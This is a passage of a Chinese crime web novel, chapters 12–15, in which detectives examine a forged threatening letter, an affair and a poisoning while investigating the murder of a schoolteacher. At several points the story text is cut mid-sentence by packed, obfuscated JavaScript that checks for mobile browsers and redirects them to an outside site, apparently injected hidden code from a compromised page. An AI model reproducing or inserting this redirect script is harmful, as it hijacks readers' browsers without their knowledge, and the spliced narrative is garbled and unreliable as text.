嫁到汪家的第一个早上,她被婆母挑剔做饭做得太晚,挨了好一通谩骂。而那个时候,丈夫只是坐在桌上,喝着热粥,充耳不闻。 两年过去,汪母嫁到这个家里还没生下个一儿半女,婆母越发泼辣难缠,丈夫依然软弱,就连一向宽容仁慈的公公也颇有微词。 幸而老天垂怜,在她最难捱的时候赏赐了自己一个儿子。 所以不同于汪明远的两个弟弟,汪明远对汪母意义非凡,她对这个儿子总有几分纵容溺爱。 就这样,靠着自己的苦苦哀求和母亲对自己复杂的情感,汪明远说服了母亲让自己能够继续念书。 不过真实情况并不如汪明远所说,他的成绩只不过是班上中游的水平,并不足以考上自己梦想的中专。 所以参加考试之后,不出所料,汪明远落榜了。 穷苦人家,机会难得,一生只有一次,浪费了就再也没有。 可汪明远不甘心,只差一步啊!只差一步就可以鲤鱼跃龙门,就可以过上比童年时候更加富足的日子! 不甘心,绝不甘心! 如果考不上,自己就只能像父辈们一样,日复一日地种地耕田,起早贪黑,一年到头挣不到几个钱。 如果考不上,就只能一辈子掩埋在这群山叠嶂之中,一辈子埋首在关图县最偏远的村子里。 汪明远不想和周围的人一样,一生灰头土脸、狼狈不堪,佝偻着的腰杆好像被打入了钢钉,从出生到死亡,永远不能挺直腰板,永远屈居人下。 想到若是考不上的往后种种,汪明远顾不得曾经给母亲的承诺,也顾不得家庭的窘迫,更顾不上家里同样需要念书的两个弟弟。 再求母亲一次,最后一次! 只需要最后一次的机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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机会又有了,汪明远心想。 就这样,汪母看着忍饥挨饿到几乎昏厥的大儿子,再次突破她内心的原则,再也不管什么公平之类的考虑。 她和丈夫多次商议,历经了好几个来回,终于让丈夫下定决心,继续做着学徒,将攒了几年打算买缝纫机的钱拿去给儿子念书。 或许是老天爷觉得这对夫妇还不够可怜,又或许是汪明远绝食多日的诚心还不足以打动老天。 汪明远又落榜了。 这个贫穷的家庭再也禁不起磋磨。 汪父在裁缝铺子里没日没夜地穿针引线,眯着眼睛,好像看不见前路,也看不见未来,只有家中的四口人还等着他往家里拿钱。 汪母更是吊着一口气,躺在发霉狭窄的屋子里,不知道是否还能等到明天。 任何一个人要是看见了家里的光景,都不会再提任何一个无理的要求,只要他还有一点良心。 可他是汪明远。 他没有良心,一丝也没有。 为了达到目的,可以不择手段。 为了达到目的,可以耗尽别人,只剩下自己。 汪明远又开始了他的把戏,不过又是绝食而已。 只是这一次,汪父和汪母再也没有动摇,因为家里实在拿不出半分钱财,实在支撑不了两度落榜的大儿子的远大梦想。 见软的不行,汪明远换了策略。 他发了疯似的,砸烂了手边够得到的所有东西,见到什么砸什么,旁边有什么就扔什么。 汪父看见近乎疯狂的儿子,想起自己没日没夜地付出竟然得了个这样的下场,气得暴怒而起。 他右手一扬,就要抽上汪明远的脸。 可是后者似乎察觉到父亲的意图,哪怕是已经饿了两天,饿得脚步虚浮,少年人到底还是有一身力气。 汪明远走向前,一把抓住了父亲扬起的手臂,眼中恨意夹杂着怒意,还带了极大的嫌弃,看得汪父一阵害怕、苦楚不已。 儿子大了,体力超过自己,再也制衡不住了。 两人的较量没有避开家门口路过的村里人,没有避开角落里被吓得瑟瑟发抖的两个弟弟,也没有避开一脸苍白的汪母,更没有避开风言风语。 村里人都在传,汪家的大儿子疯掉了,因为考不上中专疯掉了,还和家里人动手。 那些风言风语,随着盛夏的暑气,在偏僻的小村庄里汹涌澎湃。 又经过几场打砸吵闹后,汪家终于消停了。 汪明远在本次的较量中胜出,第二次复读,得了三次考试机会。 摩拳擦掌,跃跃欲试,要在来年的夏日里彻底跃出龙门,走出这个破村子,走出这个贫困的县城。 胜利在望! 不过汪母再也看不到了。 汪母没能熬过那年寒冷的冬日。 期盼着儿子来年顺利考中,也同样思念着远方的儿子,又担心儿子能不能吃饱穿暖。 夹杂着许许多多的情绪,怀揣着千千万万的不舍,这个为了汪家、为了丈夫儿子操劳了一辈子的女人,见证了短短四十多个春秋后,在除夕夜的前一个晚上,撒手人寰。 汪母死后半年,汪家最不省心、最自私的大儿子终于如愿,考上安城唯一的中专。 上学,毕业,分配工作,娶妻生子。 直到他被发现,死在城郊的废弃厂房里。 12. 恐吓信 “如此看来,这个汪明远虽然自私自利,耗死了他爸妈,但也还算是有点毅力,是个狠角色。”蔡小新若有所思,“我听我爸说啊,他们那个年代,能考上中专的凤毛麟角,那都得是县城里的佼佼者才有可能考上!” 仿佛要找一个证人似的,蔡小新又看向旁边戴着老花镜、正费力盯着电脑的老陈:“老陈,对吧?我记得你也是中专毕业。” “那可不,我们那个年代,大多数都很穷,家里没有闲钱让孩子多读书,”老陈呷了一口茶水,“反而还需要孩子早早进入社会,给家里挣钱。中专好啊,毕业就给分配工作,所以大家都抢破了头。” 老陈把陶瓷杯放回原处,突然想起来,笑骂道:“死小子,你瞎喊什么呢?你也出息了,跟着那帮老油子喊老陈。” 越说越来气,随手抄起手边的废纸团子,远远地扔向蔡小新。 后者嬉皮笑脸地闪躲,嘴里还止不住地恭维:“说着玩的!哎哟,陈叔息怒,你一个当年县里凤毛麟角的佼佼者,跟我计较什么!” “死孩子,还敢挤兑我,欠打!”又是一个废纸团子砸了过来。 班青和白杨抱着双臂,安安静静地看着一老一少打闹,摇摇头,一脸无奈。 “青姐,杨哥,周琳来了。”正闹着,梁斌急匆匆地跑了进来。 周琳带来一封信,一封恐吓信。 信上写道: 汪明远,你害得我的乐乐惨死,却在警察眼皮子底下脱了罪,过得很不错吧。两年了,你安安生生地过了两年,现在到了你偿债的时候。 去年10月,你家楼下的水果店,你取了家长事先放那里的东西;今年3月,你家附近的公园,你晨跑时,某家长递给你的信封。 所有我都录了像,要还想在关图中学混下去,不想我闹到你儿子学校去,14号晚上11点,一个人到城南水泥厂来,咱俩谈个条件,清债。 眼前的女人一头短发,本应看着极为干练,但几天没好好合眼,眼睛下方一片乌青,十分疲惫。她皮肤白皙,一条条皱纹从眼角蔓延,扩散,隐入鬓角。窗外的阳光斜斜地照射在半张脸上,一半憔悴,一半看不分明。 周琳的状况比上次看到还要糟糕,好像是哭干了眼泪,眼睛像干涸的泥土地,透着裂痕一样的血丝。 “不管怎么样,还是要多注意休息,身体要紧。”蔡小新体贴地递给她一瓶矿泉水。 周琳接过水,冲蔡小新点点头,表示感谢。 “这封信在哪儿发现的?之前怎么没听说过?”白杨紧紧盯着信件,突然抬起头,目光直直地射向她。 周琳神思飘忽,闻言,双手下意识地握紧水瓶子。 “今早在书房发现的。前几天忙着料理他的后事,没有时间整理。今天早上整理他的遗物时,不小心弄掉了一本书,这张纸就夹在里面,飘了出来。” 白杨点点头,不置可否,而后漫不经心地问道:“你……知道秦晓峰和秦乐乐的事情吗?” “知道一些,听汪明远说过,但是细节不清楚。”握着水瓶子的手突然松了力道。 “说来听听。” “听老汪说,秦乐乐一直老老实实,但是高三的时候,不知道从哪里认识了个混迹社会的男朋友,那人初中辍学,无所事事。后来,秦乐乐就经常逃学出去跟他约会,学业也彻底荒废。 “出事的前一天,秦乐乐又逃了学,不知道是不是跟她男朋友吵了架,回学校后就不大对劲。老汪当时就注意到了,问她也不说。第二天晚上,她一个人上了顶楼,跳了下来。” 班青打断她:“可有人说,秦乐乐是因为学习压力太大才轻生的。” 周琳听了,有些生气。 “什么学习压力大,高三哪个学生压力不大?校长什么都知道,知道秦乐乐因为早恋和家庭矛盾出的事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056064|179109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他捂着藏着,怕外界知道他管理不严,影响了他的仕途。还勒令老汪和跟秦乐乐玩得好的学生都不许说出去。 “老汪能有什么办法?只能按他说的做,结果祸水引到自己身上。秦晓峰欺软怕硬,骚扰了他几年,两年前才消停,本来以为这事儿都过去了,哪想到……” 说到最后,她又急又气,抬手擦了擦眼角的泪水。 班青看着越来越激动的周琳,不断地安抚着她。 蔡小新有时候脑子缺根筋,才不管他人如何,张嘴问道:“那信的后半段呢?是真的吗?汪老师真的收家长——” 梁斌慌忙在桌下踩了蔡小新一脚,又给后者使了个眼神,才止住他滔滔不绝的嘴。 周琳擦眼泪的动作凝滞在那里,僵着脸皮露出个难看的浅笑。 白杨没眼看,忍住笑意扶额,假装看地上的砖缝。 尴尬了一会儿后,周琳恢复了悲伤的神色,哽咽道:“警察同志,我们家老汪是有做得不对的地方,但是人无完人,况且人都已经没了,他再有错,也不能……不能这样冤死啊!” 吸了吸鼻子后,她继续道:“秦晓峰这个混账东西!威胁我们家老汪,讹点钱就算了,偏偏心狠手辣、猪狗不如,连老汪的命也要拿去……他一辈子兢兢业业,没有半点对不起学生的地方,怎么就……呜呜……” 听她说“没有半点对不起学生的地方”时,梁斌的眼睛一眨一眨。他不像蔡小新一样有时缺根弦,让人难堪,所以只是抬头看天花板,错愕但是不吭声。 班青和白杨毕竟是工作多年的老鸟,神色如常,淡定地听她絮絮叨叨、期期艾艾。 一个钟头后,周琳终于千恩万谢地离开。 蔡小新还是一脸茫然:“秦晓峰不是摔断了腿吗,他怎么去的城南水泥厂?” 白杨沉声道:“他没去,这封信也不是他写的。” 周琳在撒谎。 13. 再次调查 白杨和班青他们不敢惊动周琳,只能暗自打听她的信息,试图找出她不小心漏出的破绽。 四人分工协作:一边,白杨和蔡小新接着外出调查,另一边,班青和梁斌则继续查看监控。 白杨先是在汪明远的葬礼外面偷偷观察。 不远处,周琳忙活着丈夫的后事,神色悲痛,俨然一个失去丈夫的悲伤的妻子。 直到白杨窝在车里不停打呵欠的时候,昏昏欲睡之中,突然看到一个大夏天还穿着一身挺括西装和亮面皮鞋的讲究人,他正背着众人和周琳暗中视线相对,好几次两人的视线一碰上,却像是发烫一般蓦地转开…… 在场的男人多穿着一身轻薄的短袖,女人则要么穿着短袖要么穿裙子,他一身严实的西装和皮鞋,倒是出了点风头。 白杨站在人群最外围,假装是汪明远多见未见的朋友之子,和几个嗑瓜子的老大娘谈天说地,没多会儿功夫就打听到那人原来是周琳的上司。 白杨在车里等了又等,快要睡着了。下午两点时,那讲究人终于离开了葬礼,白杨这才偷偷跟在他后面,一前一后地到了康尼公司。 和周琳一个办公室的同事们刚午休结束,一个个睡眼惺忪,听到是警察同志上门,立马清醒过来。 预料之中的,他挨个儿询问周琳的同事们和那讲究人领导,都是些对汪明远的感慨可惜,以及对周琳的肯定和同情。 其乐融融,团结一致,没什么有用信息,看来讲究人领导提前打了招呼。 真不愧是个大公司,管理就是严格,白杨心中暗骂。 本以为又是无功而返,白杨刚从卫生间走出来,一个保洁阿姨却叫住了他。 她双手握紧拖把,有些不敢直视白杨的双眼,又兴许是害怕有人看见,迟疑犹豫的神色肉眼可见。 白杨登时理解了。 他双手插兜,目视前方,晃晃悠悠、漫无目的地径直往外走,从保洁阿姨身边走的时候,稍顿一下,低声说道:“我的车在地下负二层,电梯出门左边的第三个。” 白杨在车里大约等了二十分钟,等到他以为对方肯定不会出来、打算走人的时候,保洁终于来了。 “我……我有情况要反映,警察同志。”保洁紧张兮兮地四下张望,十分顾虑。 “我观察过了,这儿没人,上车说吧。”见对方仍有些摇摆不定,白杨肯定道。 保洁犹豫了一会儿,担心再等下去,公司的人下了班会看到,终于狠下心一股脑儿说了出来。 “几个月前,有一天晚上,当时公司里的人都下班了。公司不让我捡纸板和矿泉水瓶,说有损公司形象,所以我就偷偷地捡,攒了很多。那天晚上我偷偷回公司,准备把它们都卖了。 “我偷摸上了楼,不敢开灯,正打算去储物间拿我的纸板和水瓶,就听到部长办公室传来那种声音。我不敢多听,怕被人家发现,毕竟……我这个年纪,工作也不好找。 “我吓得东西也不敢拿了,打算赶紧下楼,这个时候他俩开始说话了——” 白杨挑眉,饶有兴致地问道:“谁俩?周琳和你们部长?” “对,就是他俩,我听得很清楚。” “他俩说了些什么?” 保洁皱了皱眉头:“时间太长了,细节我有些记不清楚,但是……” 她想了会儿,接着又肯定地回答:“但大概是,部长问周琳怎么想的,家里放着一个没用的老公,也不跟他离。” 越发有意思了,白杨点点头问道:“那……周琳怎么答的?” “周琳说部长想得太简单,哪有这么容易离婚的?他们夫妻的事情太复杂,要是她老公能死掉就好了。然后部长就笑她最毒不过妇人心……” 白杨听完正在思索,就听她突然拔高了声音:“警察同志,我该说不该说的都说了,你可千万要替我保密啊!傻大个儿不是个善人——” “嗯?傻大个儿?” “就是部长!今天快四十度还穿了个西装外套的那个傻子!”她一边痛快地骂人,一边四处张望,生怕那傻大个儿突然出现,“要是让他知道了我偷听他俩那破事儿,还告诉了你,我这工作就别想干了!” 白杨笑呵呵的,又跟她拍着胸脯保证。 见她信了,再叮嘱她,自己先开车走,让她装作打扫卫生,等一会儿再走。 白杨从康尼大厦旁边的停车场出来时,夜色已然降临。 路人神色匆匆,忙忙碌碌,将各自的秘密隐藏在这夜幕之中。 运气不佳,正好碰上绿灯。 他停留在原处等着倒计时,无聊得再次回头看了一眼身后气派的康尼大厦。 拢共四十层楼的高度,比周围的建筑物高上许多,虽然已经建造了多年,在关图县这个小地方仍然是数一数二的标志性建筑。 西斜的日头将暖黄的光晕打在大厦的侧面玻璃上,稍微有些刺眼。 大楼正面,一扇扇的窗户大多已经昏暗下来,只有零星几扇还亮着白光。 估计又是某几个加班的年轻倒霉蛋。 斜上方的红绿灯快到时间,白杨随意扫视几眼身后,正要收回目光,余光却看到一个骑着电瓶车的外卖员跟没见到绿灯似的,载着车上装得满满当当的外卖餐盒,擦过斑马线上的行人,往康尼大厦疾驰而去,留下行人指指点点、破口大骂。 他忍不住摇头轻笑。 此时,绿灯变为红灯,车子正待启动,他脑中突然灵光一现…… 原来,汪明远是这样走出的停车场…… 周琳奔丧的乡下亲戚,正是她的小姨夫。 许多年前,周琳的母亲进城找工作,并在县城安了家,周琳的小姨则经人介绍,嫁给了关图县城南附近村子里的一个男人。 而嫁人后的第三年,周琳小姨在生第一个孩子的时候难产,没能抢救过来,留下孩子和男人一命呜呼。 不到三个月,男人就娶了同一个村子的寡妇。 周琳母亲得知了,和男人大吵一架,不欢而散,从此两家人再也没有来往。 所以周琳表弟李财福听说这个仅仅见过几次面的表姐要来参加父亲葬礼的时候,相当惊讶,心中一片复杂。 按照当地的风俗,自然死亡的老人,没经历过病痛折磨,属 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056065|179109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于喜丧,需要停灵七日。 这个极少碰面、见面也不过是点头打个招呼的表姐,看着冷淡,却非常热心肠,在停灵的第一日就到了葬礼现场。 “周琳连着七天,每天都来吗?”没了梁斌当苦力,蔡小新只能自己在笔记本上写写划划。 “警官大人,要不要抽根烟啊?”李财福跟没听见一样,热心地就从兜里掏出一盒烟,抽出一支递到蔡小新面前。 蔡小新听了嘴角一抽,尴尬道:“咳咳,不用了,我不抽烟。嗯……还有,你叫我小蔡就行。” “哎好的。”李财福若无其事地避开不远处妻子的白眼,畏畏缩缩地抽出一根烟,心满意足地给自己点上。 他穿着件发黄的老汗衫,翘着脚抽烟,吞云吐雾。烟雾缭绕中,他淡淡地回忆起来。 “周琳姐啊,看不出来,真是个好人,连着七天都来了。这么热的天气,四十多度,我都以为她做个面子,看一眼就走了,结果人家生生待到我爹下葬才走的。 “她工作这么忙,还耽误她,给我整的怪不好意思的。哎呀,人死如灯灭,上一辈有什么矛盾,下一辈的去计较什么呢?儿孙自有儿孙福,我那个儿子——” 蔡小新听得一个头两个大,见他还要没完没了地闲扯下一辈,慌忙打断他:“14号到15号,周琳在这里做些什么?” “还能做些什么?帮我招呼亲戚啊,守灵堂之类的,忙得很!肯定给她累坏了。哎呀,可怜我周琳姐,这边刚帮我料理我爹的事情,回去后就碰上那种事……太邪门! “只可惜我爸还没出头七,怕触了人家的霉头,不然我明远哥的葬礼我们一家人怎么着都要去的! “警官大人,你们可一定要帮我们找出凶手啊!抓出那个畜生!判刑,判死刑!让他给我明远哥偿命!” 蔡小新听他又瞎叫,不由得嘴角又是一抽。不要再叫我警官大人了,蔡小新心中暗道。 瞅了一眼情绪十分上头的李财福,只能认命地地把到了嘴边的话生生憋回去。 又问了些细碎的问题,也没太多的可用信息。 李财福其人,当真是有自己的节奏和坚持,不管蔡小新问他什么问题,最后兜兜转转都能回到自家的事情上。 短短半小时不到,蔡小新只知道周琳孝顺、体面又热心,其他一概不知,倒是知道了李财福有一个儿子两个女儿,儿子结了婚又离了婚,最近刚失业,一个女儿上了大学,另一个不爱念书…… 蔡小新坐在车上,使劲甩头,试图将李财福舌灿莲花的样子甩在身后。 沿途的树影快速地后退,同样被抛在身后的,还有李财福断断续续的“警官大人”和“一定要判死刑啊”…… 他一路走来,都是乡下的水泥路,沿途没有一个监控摄像头。 14号和15号是葬礼最后两天,很多住得远的亲戚或者不好请假的人,一般只在最后两天出现,正是人多眼杂、浑水摸鱼的好时机。 李财福家正好离城南水泥厂很近,要是周琳中途偷偷离开葬礼现场,倒也不是没有可能。 只是没有人证,也没有物证…… 14. 血衣真相 城南水泥厂外的监控里的带血白T恤,如果就是周琳家门口发现的那件,那么总要有人把衣服从厂里带出来,再放到周琳家门口。 故而班青和梁斌调取来小区门口的监控,摘取14号到16号上午的视频。 14号早上7点左右,汪明远走出小区门口。 14号晚上,汪明远没有回家。 15号下午两点钟出头,周琳一手拎着个黑色的手提包,一手接着电话,神色匆匆地进入了小区。 一直到16号早上,周琳没有出门。 按照周琳家对门于老太所说,15日晚上,她大概8点出门纳凉,在小区外碰见了一个老朋友,聊得太晚,直到10点左右才回家。可她回家的时候,她没有见到周家门口放了东西。 班青和梁斌两人打起精神,重新再看了一遍15号晚上10点到第二天8点,也就是血衣出现之前的监控视频。 聚业小区是个建成多年的老小区,很多人都早已搬去了其他地方,只剩下一些年纪大一些的住户。 而老年人睡得较早,因此这个时段内并没有多少人,加之夏天身着短袖,并不好藏东西,两人很快便将监控里的人进行了一一排除。 班青的眉头拧紧了,陷入一片茫然。 虽说只是一件衣服,藏在夏天穿的单薄短袖里面怎么也会鼓鼓囊囊,不可能一点儿都看不出,要是藏在包里—— 班青突然怔愣住,将视频回放到15日下午:周琳回家的时候手上拿了个黑色手提包,而她也留着一头短发。 或许,水泥厂外监控视频中最后跟着的那个人,根本不是个矮个子的男人,而是个短头发的女人…… 蔡小新大叫:“所以,你们俩的意思是,城南水泥厂监控里的三个人,一个是被害的汪明远,一个是周琳,另一个很可能是周琳的帮凶……是周琳策划了一切,杀掉了她丈夫?” “看你没见过世面的样子。没看过某个纪录片吗,‘always the husband’,wife也没什么不可以,巾帼不让须眉嘛。”梁斌笑话他道。 “去去去,一边儿呆着去!什么husband和wife的,显你能放俩洋屁!再说了,‘巾帼不让须眉’是让你这么用的吗?” “咋不能用啊,能明白我的意思不就完事儿了?” “……” 看两人又掐起来了,白杨跟班青默契对视一眼,纷纷走开。 “在场除了周琳和汪明远之外的第三人会不会是——” 白杨仿佛早就知道班青想问什么,摇了摇头否认:“不是,不是她那领导。” 白杨登门的时候,开门的是一个面色柔美、大大方方的女人。 听说来的是个警察,她虽然一片困惑,却仍然礼貌客气地将白杨请进了屋内。 他甫一进去,未见其人,先听其声:“谁啊?” 语气中有些不耐烦。 沙发上气定神闲坐着的男人皱着眉头,刚扭过半个身子探看,女人回了他:“老杨,警察来了,说是来找你了解情况的……” 杨部长顿时跟屁股上扎了针似的,慌得赶忙从沙发上弹跳起来,抬眼一看,果然是白天去康尼公司调查的那位警察。 “白天不是都说清楚了吗,警察同志,为什么又……” 他穿了身丝绸质地的家居服,手上还拿了本《万历十五年》,本想礼貌应对白杨,但白杨身后的妻子也探出个头,疑惑地看着他,让他一时就有些忍不住语气中的不满。 白杨见状,不在意地应付:“对不住啊,杨部长,真是不好意思,白天热昏了头,忘记问你了——这个月14日的晚上你在哪里?” 手中的《万历十五年》猛地一抖,杨部长的面皮也不自然地抽搐几下,一时没有回答。 见他不知为何不作反应,杨部长的妻子忙从白杨身后走出,替他解释道:“警察同志,我们老杨那时候在外地出差,我清楚的。” 从康尼公司回来后,白杨便立即查了他的信息。 没想到,这人看着体面,暗地里却是个大瓢虫。案发的前几天,被他同事冲了KPI,好巧不巧地拘留了十天,直到18日才放了出来。 倒也真是“有情有义”,才放出来,新鲜空气没吸上几口,就迫不及待地参加情敌的葬礼。 白杨心中暗笑,嘴角不自觉地扯动,却笑得杨部长头皮发麻,他期期艾艾道:“黄……黄警官——” “白。” “啊对,白警官。工作上的事情就不好打扰我老婆了,跟她无关。这样吧,去我书房说。”杨部长做了个手势,说完便引着白杨往书房走,只留下他妻子在原地更加疑惑。 半个小时后,两人从书房走了出来。 一推开门就看到杨部长的妻子端着一壶茶,笑意盈盈地说着抱歉,说她茶才煮好,没想到就结束了,可她脸上的慌乱还没来得及收起。 白杨不在意地笑笑,心头却涌起一股不自在的感觉。等到刚出了门,身后茶壶碎开的爆裂声终于让他的感觉得了印证。 “啊!啊!杨伟,我要杀了你!你靠着我老子的资源才走到今天,我爸才死了两年,你竟然敢出轨,还敢去□□!今天你和我必须死一个——” 屋内的怒喝声从门缝间费力地挤出来,然后便被噼里啪啦的一阵动静盖过。 “那个部长跟我交代了,他的确和周琳有不正当关系,但是周琳多是跟他埋怨,家里细节却不怎么提及,所以他了解得不多。”白杨接着补充道。 班青听了,沉默着没再说话。 结合目前调查的结果来看,最可能杀害汪明远的嫌疑人有两个:一个是他的妻子周琳,另一个是之前一直恐吓纠缠他的秦晓峰。 但是秦晓峰在案发前已经意外摔断了腿,卧病在床,所以没有作案的身体条件和时间。 那么就只剩下周琳。 作为住在一个屋檐下的妻子,周琳对汪明远最为了解,知道后者曾经多次收受家长的红包和礼物,同时也知道秦晓峰长期恐吓他的事实。 于是,周琳出于某种动机,借用秦晓峰的名义,用收红包和儿子周凯来威胁汪明远,并要求他到城南水泥厂见面。 14号晚上,周琳和同伙之人,借着夜色,提前在水泥厂附近埋伏。等到汪明远现身后,趁其不备袭击,导致汪明远昏迷,再合力把他拖到水泥厂里面。 14号晚上一直到16号晚上,水泥厂着火前,两方一直僵持。 而中途,周琳留下同伙之人,先带着染着汪明远血液的白T恤从水泥厂撤离,赶回她小姨夫葬礼上。 15号下午再赶回聚业小区,接着声称汪明远失踪,并和学校方面一起报警。 而在16号的早上,周琳拿出提前准备好的血衣,放在自家门口,然后报警。 而她留在现场的同伙,于16日当晚,将汽油洒在火场并点燃,烧死了汪明远。 等到时机成熟之后,周琳再拿出伪造的恐吓信,引导警察把秦晓峰纳入绑架并谋杀汪明远的嫌疑人中。 只是她没有预料到,秦晓峰在案发前就摔断了腿,完全丧失掉作案的可能性。 “但是这并不合理啊,青姐,杨哥。且先不说秦晓峰摔断了腿,就算他有作案条件和时间,只要周琳拿出恐吓信,我们肯定会去调查他。秦晓峰一个开出租车的,调取一个记录还不容易?这不是迟早露馅的问题?”蔡小新疑惑道。 白杨沉声说道:“如果……如果她坚持声称凶手借用了秦晓峰的名义,引诱汪明远赴约呢?毕竟当初秦乐乐的事闹得满城风雨,无人不知。” 班青看蔡小新和梁斌都不太明白,解释道:“换句话说,秦晓峰要是没有不在场证明,那就推到他身上;秦晓峰要是真有不在场证明,就可以推给随便一个知道秦乐乐事件的人。” 两人这才恍然大悟。 蔡小新接着问道:“那……周琳的动机是什么?她的帮手又是谁?” “夫妻之间,无非为了情或者钱财。”梁斌又想到一个纪录片中的经典台词,突然插了一句。 蔡小新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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虽说调查过汪家的资料,也见过他的照片,但这还是白杨和班青第一次跟他打照面。 他一米八左右,和汪明远一样,生得高大,身形瘦削。戴着一副眼镜,留着长过耳朵的头发,气质温润,带着一丝书卷气息,俨然书生模样。 周凯并不认识两人,以为他们是哪个隔壁病人的家属,眼神也没递来一个,神色匆匆,淌着一头大汗,携裹着一身热气,一头冲进了病房。 白杨见状想走上前,顺道再问问情况,却被班青一把抓住手臂。 虽然也想这么做,但班青看了一眼床上昏睡着的母亲,以及病床前满脸担忧、强忍不安的儿子,最终还是朝白杨摇了摇头。 “妈——”周凯把周琳的手贴在他的右脸上,担心地看着她。 他的哭腔和抽泣穿过空气,传进班青的耳朵,她定住抽身欲走的脚步,不忍地朝他一看,正提脚离开,却被一道刺眼的光闪了眼睛。 班青如遭雷击,僵在原地。 几秒后,她回过神,拽着一脸莫名的白杨走出了医院。 是夜,医院的走廊里极为安静,好似连一根针落在地上也能听见。 周琳醒过来时,脑袋昏昏沉沉,好像被重物碾压过,压得她眼皮上好像放了块烙铁。 周凯趴在她的病床旁边,已经睡着了。 他不放心地问了医生和护士,得到了想要的答复后终于安了心,一路紧绷的心弦松开,困意顿时袭来。 他困得上下眼皮直打架,强撑着熬了许久,最后还是忍不住,沉沉睡过去。 周琳看着打着轻酣的儿子,她脸上透出几分疲惫,但所幸死里逃生,嘴角微微上翘,露出一个久违了的浅笑。 病房里,母慈子孝,劫后余生。 窗外,鸣蝉震得连天响,衬托得夜色更加静谧,所有的风雨好像都已悄然而去,所有的秘密都能隐藏在无边的夜色之中,无声无息,无迹可寻。 周琳和周凯睡着后不久。 轰隆隆—— 快要天亮的时候,随着几声夏日的雷鸣划过天际,小雨淅沥沥地下着,没过多久,雨势渐大,滂沱大雨随之而来…… 15. 戒指 三天后,周琳终于恢复了个七七八八。 白杨和班青第二次去周琳病房的时候,周凯也在。 相比于前几日有些乌青发暗的面色,周琳的面颊已经浮上了些许红润。 两人不请自来的时候,她正喝着儿子亲手给她煲的鸡汤。周凯站在床头,安安静静地收拾着床头柜上的水果和餐盒。 “真是不好意思,我家的事情给你们添了太多麻烦,还专门来医院看我。”周琳歉意地看了看班青和白杨,喝完最后一口汤,把碗递给了儿子。 班青顺口答道:“没事的,我们正好顺道,就过来看看。没打扰你吧?” 说完,把买来的水果果篮递给周琳,后者双手接过。 刚一碰到果篮,班青右手手下一松,果篮便往一侧歪倒,周琳扶着果篮的右手就这样清晰地出现在她眼里。 班青眸底一暗,神色如常,抱歉道:“哎哟,我真是不小心,算了算了,给你儿子。没碰着你吧?” “没呢,怎么会。”周琳温柔地冲周凯一笑,示意他接过果篮。 白杨看了一眼默默收拾碗筷的周家儿子,转头问周琳:“是请假了吗?真懂事。” “哎,其实请个护工就行了,让他不用担心我,自己回去上课,但他不放心,这不,请了个长假。” 周凯收拾好床头的杂物,又把碗筷装进袋子,正要离开医院回家去取衣服。 听见周琳这话,忍不住回嘴:“请个护工怎么能行?你知道请的人靠谱不靠谱啊?请假照顾你你还不乐意。” 说完,跟班青和白杨点点头,算作告别,转眼间就从走廊尽头消失了。 白杨:“上次听主治医师说,你是生附子中毒。吃那东西……是为了治病?” 周琳:“嗯,我肠胃不太好,睡眠质量差,常常半夜醒过来就再也睡不着。前些年听说城东邹家胡同有个老中医,名气很大,就找他开了几幅中药吃吃看。结果效果还挺不错,就一直在吃。” 白杨:“之前因为这玩意儿中过毒吗?” 周琳:“之前没有,估计这次买得不对,或者熬药的时候放多了。啊呀,老中医叮嘱过我的,让我一定要小心,多熬煮一会儿。一直没吃出问题,就有些大意了。” 班青:“下次可千万注意了。不然,你看你这次多危险。” “我知道的,警察同志。我现在感觉好多了,就是好不容易睡着的时候吧,总梦到老汪,不知道他的案子……”周琳难过得说不下去,眼圈已经有些泛红。 白杨抱歉道:“嗯……目前还在调查,我们想再去你家里看一看,看有没有漏掉什么线索。” 周琳脸上本布满忧伤,还抹了几把眼泪,听了白杨的一席话,突然有些错愕,甚至带了些慌张。 “啊……那,那我跟儿子打个电话,让他在家等你们。” 两人一进周琳家,就感觉和上次完全不一样了。 屋内的格局倒没有太大变化,只是到底少了个人,很多物品的归置都随着它主人的变化而大改。 尤其是汪明远的书房。 书架已经空了一大半,汪明远生前爱翻的书籍都已经没了,只剩下寥寥几本,从内容来看,还都是周琳和周凯的。 汪明远是六十年代的人,手机勉强能用明白,但电脑是搞不清楚的,所以干脆不用。 要是学校布置了什么任务,就让年轻的老师帮着做,总不会为难老人,反正新人嘛,不敢反抗的。 因此,汪家的书房里也没有电脑。 两人互相递了个眼色,分头行动,想找出汪明远的戒指,一个去卧室,一个留在书房。 翻了一圈儿,闹出了点动静,还惊扰得在外阳台晾衣服的周凯进屋查看。 一圈儿又一圈儿之后,两个人无功而返。 走出聚业小区的大门,班青忍不住和白杨说道:“他俩感情真不咋地,汪明远一死就把他的东西都给烧了,一点儿也不剩。” 